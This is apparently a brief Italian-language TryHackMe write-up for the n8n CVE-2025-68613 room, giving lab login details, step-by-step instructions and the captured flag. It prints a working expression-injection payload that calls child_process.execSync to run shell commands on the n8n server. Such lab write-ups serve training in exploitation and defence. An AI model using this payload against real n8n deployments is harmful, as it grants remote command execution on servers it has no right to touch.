Stanza TryHackMe: n8n: CVE-2025-68613

Player: J4ck3LSyN

Host: ...

Username: [email protected]

Password: Try12345!

Metodologia

Payload: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} Payload 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. Accedi alla macchina d'attacco.
2. Start New
3. Add First Step, apri la barra laterale destra e aggiungi Manual Trigger.
4. Dopo aver aggiunto un'opzione Set Fields.
5. Aggiungi un campo chiamato pwn e il payload.
6. Esegui e pwn.
7. Cambia il payload per eseguire cat flag.txt - Flag: THM{n8n_exposed_workflow}